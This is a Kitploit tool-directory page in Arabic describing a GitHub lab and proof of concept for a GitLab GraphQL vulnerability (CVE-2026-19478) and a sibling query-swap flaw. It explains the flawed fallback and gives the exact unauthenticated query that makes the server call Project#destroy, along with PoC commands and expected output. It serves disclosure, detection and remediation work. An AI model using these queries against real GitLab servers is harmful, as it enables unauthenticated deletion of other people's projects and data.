Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
gitlab-cve-2026-19478-lab — مختبر A/B قابل للتكرار + PoC آمن لـ GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) | Kitploit
أدوات/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIأمن الويباختبار الاختراقمختبرات وتدريب عملي
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

مختبر A/B قابل للتكرار + PoC آمن لـ GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

عرض المستودع
81منذ 6 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-19478 — GitLab GraphQL @gl_introduced استدعاء تعسفي للطرق بدون مصادقة (مختبر تحقق + PoC)

مختبر A/B قابل لإعادة الإنتاج وPoC آمن لـ CVE-2026-19478 (GitLab CE/EE، CVSS 9.4، حرجة). يمكن لمهاجم غير مصادَق استدعاء أي طرق Ruby بدون وسائط على كائنات المجال المُحلّلة عبر GraphQL — على سبيل المثال استدعاء Project#destroy لحذف مشروع عام بدون بيانات اعتماد.

يتضمن أيضًا PoC للثغرة الشقيقة CVE-2026-19650 (تبديل استعلام GraphQL المتعدد) التي تم إصلاحها في نفس الإصدار.

لاختبار الأمان المصرّح به / للأغراض التعليمية فقط. كل شيء يعمل ضد حاوياتك المحلية الخاصة.


1. الثغرة

توفّر GitLab توجيهًا للعميل GraphQL @gl_introduced(version: "X.Y.Z") (توافقية أمامية للنشر المتدرج). عندما يذكر استعلام حقلًا بإصدار أحدث من إصدار الخادم المُشغَّل، يقوم متتبع (Gitlab::Graphql::VersionFilter::IntroducedTracer) بإزالته قبل التحقق الثابت حتى ينجح التحقق من الاستعلام، ثم يعيد تشغيل المستند الأصلي أثناء التنفيذ ويتيح للحقول غير المعروفة أن تُحل إلى قيمة احتياطية.

الخلل في الآلية الاحتياطية (lib/gitlab/graphql/version_filter/future_field_fallback.rb، قبل التصحيح):

تنزيل الأداة
root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

يقوم graphql-ruby بحل GraphQL::Schema::Field بدون مُحلِّل عن طريق استدعاء object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — فرع respond_to?(@method_sym) → public_send يعمل قبل الاطلاع على fallback_value إطلاقًا، لذلك كان fallback_value: nil كودًا ميتًا). وبالتالي، تحت @gl_introduced، يختار العميل اسم حقل مساويًا لأي طريقة بدون وسائط على الكائن المُحلَّل حاليًا، ويقوم الخادم باستدعائها.

استعلم عن مشروع عام، واطلب "حقلًا مستقبليًا" باسم destroy → سينفّذ الخادم Project#destroy.

  • التأثير: تعديل/حذف غير مصادَق للمشاريع العامة وبيانات المستخدمين (CVSS 9.4، AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • الإصدارات المتأثرة: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • تم الإصلاح في: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — تستخدم الآلية الاحتياطية الآن Resolvers::NilResolver صراحةً، وهو يعيد nil ولا يستدعي أي طريقة إطلاقًا.

قيود الإثارة (مكتسبة تجريبيًا)

  1. يجب أن يكون @gl_introduced(version:) أكبر من إصدار الخادم (استخدم 99.0.0).
  2. اسم الحقل هو اسم الطريقة بالضبط، حرفيًا (snake_case كما هو معرّف في Ruby، مثل to_param, destroy).
  3. يحتاج تحديد الحقل الأب إلى ≥1 من الحقول الشقيقة الحقيقية (مثل id) وإلا فإن المستند المُصفّى سيكون مجموعة تحديد فارغة وسيُعيد GitLab خطأ تحقق "Field must have selections".

2. بدء سريع (مختبر A/B: الإصدار الضعيف 19.2.2 مقابل المُصحَّح 19.2.4)

المتطلبات: Docker + docker compose، ~8 GB من ذاكرة RAM متاحة، Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

يطبع setup.sh لكل مثيل: رابط الأساس، ومسار المشروع العام المُجهَّز (root/pub)، ورمز وصول إداري (PAT).


3. تشغيل الـ PoC

3a. الكشف (آمن، غير مدمر — الافتراضي)

يستخدم أولية استدعاء الطريقة مع طريقة غير ضارة (to_param). لا يتم تغيير أي بيانات.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

المتوقع:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

بينما على المثيل المُصحَّح:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. إثبات التأثير التدميري (اختياري — يحذف مشروعًا مؤقتًا ينشئه بنفسه)

ينشئ مشروعًا عامًا مؤقتًا خاصًا به عبر REST API (يتطلب رمز الوصول الإداري من setup.sh)، ثم يحذفه عبر هجوم GraphQL غير المصادَق، ويتأكد من اختفاء المشروع.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

المتوقع (على المثيل الضعيف):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

على المثيل المُصحَّح، يُبلغ نفس التشغيل أن المشروع لا يزال يُرجع 200 OK وأن destroy هو null.

3c. الثغرة الشقيقة CVE-2026-19650 (تبديل استعلام multiplex) — آمن

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. الاختبار ضد مثيلك الخاص

وجّه --url إلى أي GitLab مصرّح لك باختباره، و--project إلى مشروع عام عليه:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

الكشف غير مدمر. لا تستخدم --prove-destroy ضد أي شيء لا تملكه.


5. المعالجة

قم بالترقية إلى 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 أو أحدث. يُمرّر الإصلاح الآلية الاحتياطية عبر Resolvers::NilResolver (يعيد nil ولا يستدعي أي طريقة على الكائن أبدًا). إذا لم تتمكن من الترقية فورًا، قم بحظر توجيه @gl_introduced / مسار مرشّح الإصدارات عند وكيل (proxy)، أو قيّد وصول GraphQL غير المصادَق.

6. الملفات

الملفالغرض
docker-compose.ymlيُقلع بالإصدار الضعيف 19.2.2-ce (:8222) + المُصحَّح 19.2.4-ce (:8224)
setup.shينتظر الجاهزية، ويُجهّز مشروعًا عامًا root/pub + رمز وصول إداري لكل مثيل
poc_cve_2026_19478.pyالكشف (آمن) + دليل تأثير اختياري عبر --prove-destroy
poc_cve_2026_19650.pyكشف تبديل استعلام multiplex (آمن)

7. ملاحظات السلامة

  • كل شيء يستهدف حاويات تقوم أنت بتشغيلها. الـ PoC الافتراضي غير مدمر.
  • ينشئ --prove-destroy ويحذف مشروعًا مؤقتًا خاصًا به؛ ولا يلمس root/pub أو بياناتك أبدًا.
  • المبلِّغون: hiimguardian (CVE-2026-19478)، kreep (CVE-2026-19650)، عبر GitLab HackerOne. كان الإفصاح الفني العام خاضعًا لفترة حظر ~90 يومًا بعد التصحيح؛ يستمد هذا المختبر الآلية من التزامات الإصلاح العامة e283c6adeb3d (الآلية الاحتياطية) وd2ea4b971a98 (تبديل multiplex).